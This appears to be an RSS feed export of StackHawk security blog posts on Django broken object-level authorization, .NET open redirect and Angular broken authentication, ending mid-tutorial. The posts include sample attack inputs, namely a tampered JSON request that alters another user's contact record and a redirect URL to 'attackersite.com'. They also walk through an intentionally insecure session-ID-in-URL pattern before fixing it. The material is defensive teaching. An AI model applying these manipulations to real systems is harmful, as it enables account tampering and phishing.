Before It Happens&lt;/h2&gt;&lt;blockquote&gt;&lt;p&gt;As simple as it might seem, it is essential to make sure that we &lt;b&gt;enforce good path traversal security policies&lt;/b&gt; and cover as many potential gaps in our application.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Technology will continue to evolve, and more robust and comprehensive solutions will mitigate these issues. &lt;/p&gt;&lt;p&gt;Nevertheless, don&amp;#39;t forget that we can always cover for the lack of our systems, as long as we are thorough and creative with our approaches.&lt;/p&gt;&lt;p&gt;Given that .NET is such a mature and robust platform, there are various ways to go around this. Just make sure you find something that satisfies your needs and adequately test your approach and implementation.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Juan Reyes. &lt;/i&gt;&lt;a href=&quot;https://www.ajourneyforwisdom.com/&quot;&gt;&lt;u&gt;&lt;i&gt;Juan&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is an engineer by profession and a dreamer by heart who crossed the seas to reach Japan following the promise of opportunity and challenge. While trying to find himself and build a meaningful life in the east, Juan borrows wisdom from his experiences as an entrepreneur, artist, hustler, father figure, husband, and friend to start writing about passion, meaning, self-development, leadership, relationships, and mental health. His many years of struggle and self-discovery have inspired him and drive to embark on a journey for wisdom.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Django Broken Object-Level Authorization Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/django-broken-object-level-authorization-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;In recent years, software applications have become more robust, allowing for more complex data queries and accessibility. With that in mind, the number of applications vulnerable to attacks is also growing. Some infamous security incidents have occurred. One example is the&lt;a href=&quot;https://arstechnica.com/information-technology/2017/10/t-mobile-website-bug-apparently-exploited-to-mine-sensitive-account-data/&quot;&gt; &lt;u&gt;T-Mobile&lt;/u&gt;&lt;/a&gt; phone number querying that led to sensitive data exposure.&lt;a href=&quot;https://infosecwriteups.com/disclose-private-attachments-in-facebook-messenger-infrastructure-15-000-ae13602aa486&quot;&gt; &lt;u&gt;Facebook&lt;/u&gt;&lt;/a&gt; and &lt;u&gt;Uber&lt;/u&gt; have also experienced their own fair share of object-level security flaws. Large, medium and small companies are all at risk of security attacks that can negatively impact the business.&lt;/p&gt;&lt;p&gt;In this post, we&amp;#39;ll define broken object-level authorization. We&amp;#39;ll provide some instances and discuss some of the methods we can use to make our Django apps more secure. Hopefully, you&amp;#39;ll be able to apply what you&amp;#39;ve learned to your Django projects.&lt;/p&gt;&lt;h2&gt;Broken Object-Level Authorization&lt;/h2&gt;&lt;p&gt;Object-level authorization is a security or access control mechanism that checks authenticated user privileges against the content or resource instance they&amp;#39;re trying to access.&lt;/p&gt;&lt;p&gt;This type of control usually occurs when trying to perform an action on a particular object in a resource. For example, suppose we have a User Account resource, and one wants to access a single user account detail with a unique ID 4. Access control in the given example is usually at the object level.&lt;/p&gt;&lt;p&gt;In most cases, the user can log in and access user accounts; however, the types of accounts that may be viewed are limited. For example, only the account owner has access to their own data, or administrators have access to all user data.&lt;/p&gt;&lt;p&gt;Object-level authorization provides finer control over what actions a user may take on each resource object. An object is any information to which the application has access.&lt;/p&gt;&lt;p&gt;Broken object-level authorization can be described as any security vulnerability on resources at the object level. Because object-level authorization allows for finer-grained rights, any application with an object-level authorization vulnerability risks exposing sensitive information to attackers.&lt;/p&gt;&lt;p&gt;API-based apps are the most vulnerable to object-level authorization attacks. This is because APIs are designed to facilitate different operations on objects such as create, read, update, and delete. If the authorization around these objects is broken, we&amp;#39;re at risk of a broken object-level authorization vulnerability.&lt;/p&gt;&lt;h2&gt;Examples of Broken Object-Level Authorization&lt;/h2&gt;&lt;p&gt;The following scenario illustrates an example of such an attack. Suppose we have an API endpoint &lt;b&gt;www.example.com/api/messages/&amp;lt;ID&amp;gt;/&lt;/b&gt; in the request header. An attacker can modify the ID information to something else and get access to the data.&lt;/p&gt;&lt;p&gt;For example, the attacker can manually modify the ID in the URL to something else like &lt;b&gt;67&lt;/b&gt;. Such that &lt;b&gt;www.example.com/api/messages/67/&lt;/b&gt; can show the message details for the given ID if it exists in the database. Some of the message details could be the sender, the receiver, and the contents.&lt;/p&gt;&lt;p&gt;Another situation is if a &lt;b&gt;POST&lt;/b&gt; or &lt;b&gt;PUT&lt;/b&gt; request contains a unique ID that is changeable or put in the request body, an attacker might use that instance to change the resource object&amp;#39;s identifier. For example, they might change the following JSON object request to &lt;b&gt;www.example.com/api/contacts/&lt;/b&gt;:&lt;/p&gt;&lt;p&gt;&lt;code&gt;{
  &amp;quot;user&amp;quot;: 23,
  &amp;quot;contact&amp;quot;: {
    &amp;quot;full_name&amp;quot;: &amp;quot;Chike Ada&amp;quot;,
    &amp;quot;email&amp;quot;: &amp;quot;test@example.com&amp;quot;
  },
  &amp;quot;reference&amp;quot;: &amp;quot;Adding a new contact to account&amp;quot;
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Also consider the following scenario: predictable and poorly structured API resource object IDs. Using auto-incrementing numbers—like 1…2…3, as an example—an attacker can simply figure out the API structure and manipulate these resource objects. For example, the user with ID 23 can have their data updated to something else by an authenticated attacker as seen below.&lt;/p&gt;&lt;p&gt;&lt;code&gt;{
  &amp;quot;user&amp;quot;: 23,
  &amp;quot;contact&amp;quot;: {
    &amp;quot;full_name&amp;quot;: &amp;quot;Conartist Ada-lovelace&amp;quot;,
    &amp;quot;email&amp;quot;: &amp;quot;malicious@example.com&amp;quot;
  },
  &amp;quot;reference&amp;quot;: &amp;quot;Attacker updated the user with ID 23 contact details&amp;quot;
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;When the owner of this contact object logs into the system, they discover different data, which is a risk. They&amp;#39;re likely to lose all of their original data or have their data integrity affected.&lt;/p&gt;&lt;h2&gt;Preventions to Broken Object-Level Authorization&lt;/h2&gt;&lt;p&gt;Because broken object-level authorization affects businesses, knowing how to prevent such attacks will save businesses from losing sensitive data. In this section, we&amp;#39;ll discuss various ways to handle broken object-level authorization.&lt;/p&gt;&lt;h3&gt;Randomly Generated Unique Identifiers&lt;/h3&gt;&lt;p&gt;One recommendation is to use globally unique identifiers (GUIDs) or universally unique identifiers (UUIDs) to reduce threats from predictable object resource identifiers. UUIDs are more commonly used because they generate large values (typically 128-bit random integers) with a low chance of colliding. A collision occurs when two or more identifiers point to the same object. An example of a UUID string is &lt;b&gt;092a5461-e71b-32d1-e544-792314582966&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;To generate a UUID, run the following:&lt;/p&gt;&lt;p&gt;&lt;code&gt;pip install uuid&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;In &lt;b&gt;models.py&lt;/b&gt;, run the below:&lt;/p&gt;&lt;p&gt;&lt;code&gt;import uuid
from django.db import models&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;class Subscription(models.Model):
    id = models.UUIDField(unique=True, primary_key=True, editable=False, default=uuid.uuid4)
    ...&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Using UUIDs makes it more difficult for attackers to guess the resource object identifier.&lt;/p&gt;&lt;h3&gt;Django Groups&lt;/h3&gt;&lt;p&gt;Aside from the usage of UUIDs, it&amp;#39;s critical to establish some kind of access control on the types of data that both authorized and unauthenticated users can act on. One of the ways of establishing access control is by grouping users in Django. This ensures that a certain group of users can perform a certain action, hence helping in managing access.&lt;/p&gt;&lt;p&gt;By using a Django Group, we can restrict access to resource objects. For example, in the &lt;b&gt;managers.py&lt;/b&gt; file, run the following:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;We can create a custom user manager that includes a Django Group. Depending on the user role, such as a supplier, we can assign them to groups on user creation in the code snippet above. In &lt;b&gt;models.py&lt;/b&gt;, run the below:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;We can then use the custom user manager in the User resource. Although not many changes occur for object-level authorization, we have successfully created permission groups for all users signing up on the platform, which is a step in access control on resource objects. In business logic, we can limit the content to users in the supplier group. For example, using the Django REST framework in &lt;b&gt;views.py&lt;/b&gt;, run the following:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The code snippet filters authenticated users against user groups. If the user doesn&amp;#39;t belong to the supplier group, they cannot access the resource content.&lt;/p&gt;&lt;p&gt;We can note that if the user belongs to the supplier group, they can access the data whether they&amp;#39;re the owners of the resource object or not.&lt;/p&gt;&lt;h3&gt;Resource Ownership&lt;/h3&gt;&lt;p&gt;To ensure no data leakage to another user, we store information about the creator of that resource object in the object. For example, say a user who belongs to a supplier group creates an instance of a report. To track who owns the report instance, we add a field named &amp;quot;user&amp;quot; or &amp;quot;owner&amp;quot; to the resource data, as seen below.&lt;/p&gt;&lt;p&gt;In &lt;b&gt;models.py&lt;/b&gt;, run the following:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Here, we attach the report to its owner by assigning the foreign key to the User resource.&lt;/p&gt;&lt;p&gt;&lt;code&gt;{
    &amp;quot;owner&amp;quot;: &amp;quot;as34-ade42315d-893a-0934d&amp;quot;,
    &amp;quot;title&amp;quot;: &amp;quot;An unsecure report that exposes the owner ID&amp;quot;
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Now, the front end will provide the JSON object like the one shown above.&lt;/p&gt;&lt;h3&gt;Extract ID From Auth Token&lt;/h3&gt;&lt;p&gt;To prevent the front end from providing the report creator, we derive it from the authenticated user. We update our &lt;b&gt;views.py&lt;/b&gt; as shown below.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The front-end client will only need to give the report data rather than explicitly giving the &amp;quot;owner&amp;quot; field data.&lt;/p&gt;&lt;p&gt;&lt;code&gt;{
  &amp;quot;title&amp;quot;: &amp;quot;This report no longer requires the owner ID on creation&amp;quot;
  ...
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;Query by Ownership&lt;/h3&gt;&lt;p&gt;Although the report now belongs to a specific user, we&amp;#39;re still retrieving all reports on the platform regardless of ownership. To prevent viewing others&amp;#39; reports, we can filter queries by ownership as shown below.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The code snippet makes sure that only reports belonging to the authenticated user are available. If the user is a superuser (that is, an admin), the authenticated user can view all reports. Another approach to tackling object-level authorization is by extending the base permission available in Django (the Django REST framework) as seen below.&lt;/p&gt;&lt;p&gt; In &lt;b&gt;permissions.py&lt;/b&gt;, run the below:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;In the snippet above, the &lt;b&gt;has_permission()&lt;/b&gt; method is in charge of authorizing users to view or call a particular resource or endpoint. The &lt;b&gt;has_object_permission()&lt;/b&gt; method is responsible for checking that a certain user can access a particular object in a given resource. In the example above, only users in the supplier group or administrators can view the resource or route. In order to perform an action on a particular object in the resource, one has to be the object owner or an administrator on the platform.&lt;/p&gt;&lt;p&gt;To use this, in&lt;b&gt; views.py&lt;/b&gt;, run the following:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Note that now the URL, &lt;b&gt;www.example.com/api/reports/&lt;/b&gt;, on the &lt;b&gt;GET&lt;/b&gt; request will still show all reports to the authenticated users in the supplier group. Although, performing any action on a particular resource object itself will be prohibited if the authenticated user isn&amp;#39;t the object owner. To make sure it only shows the authenticated user who owns the report, we must include that in the query set, as shown below.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;These are some of the known methods to prevent broken object-level authentication in Django APIs.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Trust Is Earned&lt;/h2&gt;&lt;p&gt;As attackers continue to uncover flaws in every system&amp;#39;s security, we must ensure that users&amp;#39; data is protected by authenticating its source. We should never put our faith in user-provided data. To avoid catastrophes from storing dangerous data in our businesses, we must vet data.&lt;/p&gt;&lt;p&gt;We learned in this post how attackers try to get authorization to resource objects by changing their resource IDs with a new one that is inferred from predictable API ID structures. Endpoints that don&amp;#39;t test authenticated user permissions before authorizing certain resource operations may provide attackers access to the resource.&lt;/p&gt;&lt;p&gt;We considered various approaches to combat these known broken object-level authorization vulnerabilities by encouraging the use of UUIDs that generate long strings of low-collision IDs. We also demonstrated ways to prevent exposing other users&amp;#39; data by attaching owner data to the resource object to be accessed during querying.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Ifenna Okoye. &lt;/i&gt;&lt;a href=&quot;https://ifenna.hashnode.dev&quot;&gt;&lt;i&gt;Ifenna&lt;/i&gt;&lt;/a&gt;&lt;i&gt; is a software developer with a particular interest in backend technologies including Python and Node.js.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[.NET Open Redirect Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/net-open-redirect-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;This post aims to provide the reader with insight and guidance about open redirect vulnerabilities. We&amp;#39;ll focus on the different vulnerabilities that one can typically find in platforms without appropriate security and how to apply mitigation measures against them.  &lt;/p&gt;&lt;p&gt;It&amp;#39;s important to know that our discussion of open redirect will be concise and limited in scope. Furthermore, if you have limited experience with .NET (the development stack of choice for this article), you might want to check out &lt;a href=&quot;https://docs.microsoft.com/en-us/aspnet/core/?view=aspnetcore-6.0&quot;&gt;&lt;u&gt;Microsoft&amp;#39;s ASP.NET documentation&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;h2&gt;What Is Open Redirect?&lt;/h2&gt;&lt;p&gt;To understand open redirect, it&amp;#39;s crucial that you first understand what redirects are and why they are so prevalent on the web. &lt;/p&gt;&lt;p&gt;Redirects are how a platform moves a user from one URL to another to perpetuate functionality. Additionally, developers use them as a contingency against incursion from an incorrect or unauthorized address. Broadly speaking, redirects serve as a tool for developers to ensure that their users follow a proper flow. &lt;/p&gt;&lt;p&gt;Understanding this, one can see how they are necessary and ubiquitous on the web. Yet this also makes these redirects potential targets for bad actors trying to mislead users and direct them to malicious websites. &lt;/p&gt;&lt;p&gt;Open redirects occur when a web application accepts unvalidated input and ends up redirecting users to malicious websites. Now attackers have a path when using phishing scams or attempting to steal a visitor&amp;#39;s credentials. &lt;/p&gt;&lt;p&gt;Sadly, open redirects are one of the most overlooked threats that users can become victims of nowadays. The logic behind the neglect from the development and security community is mainly that the impact on the platform itself is low and vulnerable code is rare.  &lt;/p&gt;&lt;p&gt;Despite this, users can still become victims of these exploits, and sufficiently determined attackers can exploit users and, in fact, cause significant damage to the level of confidence users have in your platform. &lt;/p&gt;&lt;h2&gt;Exploring Some Open Redirect Examples&lt;/h2&gt;&lt;p&gt;Now that you have a basic understanding of what open redirect is, we&amp;#39;ll illustrate the point. Let&amp;#39;s see what an open redirect attack would look like on the web. &lt;/p&gt;&lt;p&gt;&lt;code&gt;http://mysafesite.com/page.php?to_url=http://attackersite.com&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;You should be able to see from this URL that the vulnerable site &amp;#39;mysafesite.com&amp;#39; contains a page named &amp;#39;page&amp;#39; that includes a feature that receives user input, in this case a URL in the query string, and uses it to redirect the user. &lt;/p&gt;&lt;p&gt;When an unsuspecting user clicks on this link, the browser redirects them to the legitimate website. However, if the server doesn&amp;#39;t validate the URL to redirect appropriately, it will redirect the user to a malicious site. Additionally, since the URL contains the legitimate domain, an attacker could easily fool the user about the legitimacy of the malicious site.  &lt;/p&gt;&lt;p&gt;Once the user is on the attacker&amp;#39;s site, the attacker can disguise the website and ask for credentials. Finally, the attacker can redirect the user back to the legitimate site after storing the credentials. Thus, the attacker succeeds at procuring the credentials, and the victim is none the wiser.&lt;/p&gt;&lt;h4&gt;Bad News&lt;/h4&gt;&lt;p&gt;You may already hear the security engineer on your team advocating for your dismissal for even considering such a poor implementation. And understandably, you probably think that this kind of implementation must be nonexistent in this day and age. Yet you would be surprised by the abundance of poorly implemented solutions like these. &lt;/p&gt;&lt;p&gt;This is not to say that this is the full extent of open redirect vulnerabilities. Far from it. Despite the low level of sophistication found in open redirect attacks, they usually exist as part of a suite of exploits with phishing and cross-site scripting. These exploits work in synergy as a more sophisticated, multi-step attack to thwart more resilient and robust platforms. &lt;/p&gt;&lt;p&gt;Open redirect attacks are of the following kinds: &lt;/p&gt;&lt;h3&gt;Header-Based Open Redirect&lt;/h3&gt;&lt;p&gt;Header-based open redirect attacks exploit vulnerable code directly by the user input. Much like the example above, these attacks heavily hinge on the logic behind the redirect in the platform and social engineering. Additionally, no JavaScript is necessary for this attack to work, so it&amp;#39;s particularly nefarious. &lt;/p&gt;&lt;h3&gt;JavaScript-Based Open Redirect&lt;/h3&gt;&lt;p&gt;JavaScript-based open redirects are triggered only when executing JavaScript as part of the redirect functionality. Therefore, unvalidated redirects of this form do not work for server-side functions. &lt;/p&gt;&lt;h2&gt;How to Prevent Open Redirect Vulnerabilities&lt;/h2&gt;&lt;p&gt;In order to prevent open redirect vulnerabilities, you must rethink your approach to solutions dependent on redirection.  &lt;/p&gt;&lt;p&gt;The most successful solution for open redirect is, well, to do away with redirects. This, of course, might not be a viable solution for some, and we will offer some alternatives, but we do want to emphasize that even if you think you need redirection, you actually might not. There are more modern, safe, and secure ways to provide the same functionality without opening yourself to this vulnerability. &lt;/p&gt;&lt;p&gt;If, however, you must have redirects, consider limiting the possible redirection destinations available to users. But, again, using fixed options in HTML elements can go a long way in mitigating these exploits. &lt;/p&gt;&lt;p&gt;Additionally, parsing and identifying potentially malicious inputs can weed out many of the attacks the service might receive. For example, if the user is not supposed to leave your domain and is showing an intent to do so, that is already a red flag. In .NET, we can implement such a solution with the &amp;quot;LocalRedirect&amp;quot; helper.  &lt;/p&gt;&lt;p&gt;&lt;code&gt;public IActionResult SomeAction(string redirectUrl)
{
    return LocalRedirect(redirectUrl);
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Simply adding the helper to the provided input does the trick. &lt;/p&gt;&lt;p&gt;&amp;quot;LocalRedirect&amp;quot; will throw an exception if a non-local URL is specified. Otherwise, it behaves just like the redirect method. &lt;/p&gt;&lt;h3&gt;Going Further&lt;/h3&gt;&lt;p&gt;Moreover, by using the &amp;quot;Url.IsLocalUrl&amp;quot; method, we can check if a provided URL is local and change the behavior of an application if we need to handle such behavior. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The &amp;quot;URL.IsLocalUrl&amp;quot; method protects users from being inadvertently redirected to a malicious site. In addition, you can log the URL details provided when a non-local URL is supplied in a situation where you expected a local URL. Logging redirect URLs may help you diagnose redirection attacks. &lt;/p&gt;&lt;p&gt;Beyond these strategies, you can implement platform solutions like firewalls, redirection notices, etc. &lt;/p&gt;&lt;p&gt;It&amp;#39;s crucial to be aware that performing penetration tests, security audits, and keeping your libraries updated is considered good practice and the best way to ensure the security of your platform. However, doing all this work can be time-consuming and complex. That&amp;#39;s why we encourage you to consider using StackHawk. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;As you have seen, addressing these vulnerabilities is not complicated. It just takes time.  &lt;/p&gt;&lt;p&gt;Doing vulnerability mitigation on all possible fronts can be demanding and sometimes not worth the time of development when considered against other potential vulnerabilities to address. This is why we encourage you to consider robust and tested solutions for your team. &lt;/p&gt;&lt;p&gt;We hope that this article has helped you provide better solutions for your users and clients. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Juan Reyes. &lt;/i&gt;&lt;a href=&quot;https://www.ajourneyforwisdom.com/&quot;&gt;&lt;u&gt;&lt;i&gt;Juan&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is an engineer by profession and a dreamer by heart who crossed the seas to reach Japan following the promise of opportunity and challenge. While trying to find himself and build a meaningful life in the east, Juan borrows wisdom from his experiences as an entrepreneur, artist, hustler, father figure, husband, and friend to start writing about passion, meaning, self-development, leadership, relationships, and mental health. His many years of struggle and self-discovery have inspired him and drive to embark on a journey for wisdom.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Angular Broken Authentication Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/angular-broken-authentication-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Authentication is an integral feature of any application. It&amp;#39;s also your users&amp;#39; entry point to your product and business. So, you not only have to try to make it seamless, but you also must ensure that it&amp;#39;s secure and foolproof. But there are many vulnerabilities around authentication that developers can overlook.&lt;/p&gt;&lt;p&gt;Often these vulnerabilities lead to an authentication loophole in your application. An attacker can then easily exploit this loophole to break into your application. So, in this post, I&amp;#39;ll introduce you to what broken authentication is. I&amp;#39;ll also show you how you can prevent it in your Angular application.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Authentication Workflow&lt;/h2&gt;&lt;p&gt;First, let&amp;#39;s have a quick refresher on how authentication usually works in an application.&lt;/p&gt;&lt;p&gt;On the client side, you have a login or signup form that the user fills. The client then sends the user&amp;#39;s credentials to the server. The server validates the credentials and creates a new session for the user. It sends back an authentication token or a session ID.&lt;/p&gt;&lt;p&gt;The client stores this ID or token on the front end. It then sends it back with every request that the client makes to the server. That&amp;#39;s how the server identifies which user is making a request and if a resource is permitted to an incoming request.&lt;/p&gt;&lt;h2&gt;Possible Loophole in Authentication Workflow&lt;/h2&gt;&lt;p&gt;The server is responsible for generating the session ID or auth token. The client, on the other hand, is responsible for storing it securely. If leaked, this auth token or session ID can create a loophole in your authentication workflow. Then, an attacker can exploit it to break into your application using a legitimate user&amp;#39;s account.&lt;/p&gt;&lt;p&gt;Further, the attacker can steal all the user&amp;#39;s credentials, gain access to private resources, and tamper with the user&amp;#39;s data. Since your server recognizes the activity as coming from a legitimate user, neither you nor the user is alarmed about the situation. This could cause a lot of damage to your product, your user, and your business.&lt;/p&gt;&lt;p&gt;But in what instances can this token or ID be leaked? Let&amp;#39;s discuss a few scenarios of Angular broken authentication on both the server and client side. &lt;/p&gt;&lt;h3&gt;Server-Side Vulnerabilities&lt;/h3&gt;&lt;p&gt;When the user ends a session by logging out, the server should delete that session ID or authentication token. Then, the next time the user creates a new session, the server should also generate a brand-new session ID.&lt;/p&gt;&lt;p&gt;However, a lot of times the server simply updates a session flag in the database to log out the user. Consequently, it uses the same session ID against newer sessions. This practice could be problematic. If an attacker or a third party has seen your session ID before, they can use the same session ID to hijack your account even if you end your session.&lt;/p&gt;&lt;p&gt;Hence, the server should never use old session IDs for the new sessions. Instead, it should create a fresh session ID or auth token for each new session. Additionally, the server should rotate session IDs for each session. In other words, session IDs should have a&lt;a href=&quot;https://en.wikipedia.org/wiki/Time_to_live&quot;&gt; &lt;u&gt;TTL&lt;/u&gt;&lt;/a&gt; . After the TTL expires, the session should either be terminated or recreated. This is helpful in the sense that the server doesn&amp;#39;t need to completely rely on the client to terminate the session.&lt;/p&gt;&lt;p&gt;Now that you know some server-side vulnerabilities and how to combat them, let&amp;#39;s talk about client-side vulnerabilities.&lt;/p&gt;&lt;h3&gt;Client-Side Vulnerabilities&lt;/h3&gt;&lt;p&gt;Most of your client-side code is available in the browser. So, it&amp;#39;s vital that you structure your system in a way that it will still be intact if your global variables of the source code are exposed.&lt;/p&gt;&lt;p&gt;One of the best practices you should follow is ensuring that session IDs are not easily visible or accessible to anyone. As a first step, you should never store or append the authentication token or session ID in your front-end URL.&lt;/p&gt;&lt;p&gt;You should implement session management in your front end that keeps the session ID away from the UI. For this, you can store the session ID inside browser storage instead of route parameters.&lt;/p&gt;&lt;p&gt;Let&amp;#39;s see how we can achieve the above implementation in an Angular application. The result is that we should have some defenses against Angular broken authentication.&lt;/p&gt;&lt;h2&gt;How to Handle Session Management in Angular&lt;/h2&gt;&lt;p&gt;To get started, we&amp;#39;ll create a new Angular app with routing:&lt;/p&gt;&lt;p&gt;&lt;code&gt;ng new my-app&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Next, we&amp;#39;ll create two components: the home component and the login component.&lt;/p&gt;&lt;p&gt;&lt;code&gt;ng  g c home login&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;We&amp;#39;ll then configure routing for these components. Head over to the &lt;b&gt;app-routing.module.ts&lt;/b&gt; file and add the following:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;Add Auth Service&lt;/h3&gt;&lt;p&gt;Next, we&amp;#39;ll create a service that mocks login API action.&lt;/p&gt;&lt;p&gt;&lt;code&gt;ng g s auth&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Inside this service, we&amp;#39;ll have a function that simply returns a mock session ID to us. Here&amp;#39;s what the &lt;b&gt;auth.service.ts&lt;/b&gt; file should look like:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Our service has a function &lt;b&gt;getAuthUser&lt;/b&gt; that simply makes an HTTP request to a mock API that returns us some data. Within this data, we&amp;#39;ll get some information about a user and an &lt;b&gt;id &lt;/b&gt;property. For the purpose of this tutorial, we&amp;#39;ll assume that this &lt;b&gt;id&lt;/b&gt; is the session ID of the user. Make sense?&lt;/p&gt;&lt;h3&gt;Create Login Page&lt;/h3&gt;&lt;p&gt;Let&amp;#39;s go back to our login component. Inside the &lt;b&gt;login.component.html&lt;/b&gt; file, I have a simple markup that renders a login form.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;I also have some styles inside the &lt;b&gt;login.component.css&lt;/b&gt; file as shown:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;That should make the login page look this:&lt;/p&gt;&lt;p&gt;I&amp;#39;ve used Bootstrap to quickly bring in some styles to my template. You can do the same by referring&lt;a href=&quot;https://getbootstrap.com/docs/5.0/getting-started/introduction/#css&quot;&gt; &lt;u&gt;here&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Inside the &lt;b&gt;login.component.ts&lt;/b&gt; file, I&amp;#39;ll simply call the &lt;b&gt;getAuthUser&lt;/b&gt; function from our &lt;b&gt;Auth&lt;/b&gt; service and programmatically route to the home component. I&amp;#39;ll also pass the &lt;b&gt;id&lt;/b&gt; received from the &lt;b&gt;getAuthUser&lt;/b&gt; function as query parameters to the home component.&lt;/p&gt;&lt;p&gt;Here&amp;#39;s what the &lt;b&gt;login.component.ts&lt;/b&gt; file looks like:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;If you notice back in the template, the login function created above is called when the login button is clicked from the template.&lt;/p&gt;&lt;h3&gt;The Home Component&lt;/h3&gt;&lt;p&gt;The HTML file of the home component has a simple template as shown:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;section&amp;gt;
    &amp;lt;h3&amp;gt;This is the home page&amp;lt;/h3&amp;gt;
    &amp;lt;p&amp;gt;Session ID of user: {{sessionId}}&amp;lt;/p&amp;gt;
&amp;lt;/section&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Right now, we&amp;#39;re getting the &lt;b&gt;sessionId&lt;/b&gt; as query parameters in the &lt;b&gt;/home&lt;/b&gt; URL. We&amp;#39;ll grab this from the route and append it to our component&amp;#39;s state variable. Here&amp;#39;s what the &lt;b&gt;home.component.ts&lt;/b&gt; file should look like:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;If you now click on the login button from the login page, here&amp;#39;s what you should get:&lt;/p&gt;&lt;h3&gt;The Problem&lt;/h3&gt;&lt;p&gt;As you can see, the query parameters in the URL clearly show the session ID of the user. But as I mentioned earlier, this is not a good approach and could lead to Angular broken authentication in your application. What if the user used your application on a public computer, was on the homepage, and forgot to log out?&lt;/p&gt;&lt;p&gt;Or what if someone simply peeked at your user&amp;#39;s computer and saw the session ID clearly visible on the front end&amp;#39;s URL?&lt;/p&gt;&lt;h3&gt;Use Browser Storage&lt;/h3&gt;&lt;p&gt;Instead of passing the session ID in the front end route, we can push it inside browser storage like local storage or session storage.&lt;/p&gt;&lt;p&gt;Here&amp;#39;s what our updated login function should look like:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Then, inside our home component we can grab the session ID from the &lt;b&gt;localStorage&lt;/b&gt;:&lt;/p&gt;&lt;p&gt;&lt;code&gt; ngOnInit(): void {
    //this.route.queryParams.subscribe(params=&amp;gt;this.sessionId=params[&amp;#39;session_id&amp;#39;])
    this.sessionId=localStorage.getItem(&amp;#39;session_id&amp;#39;)
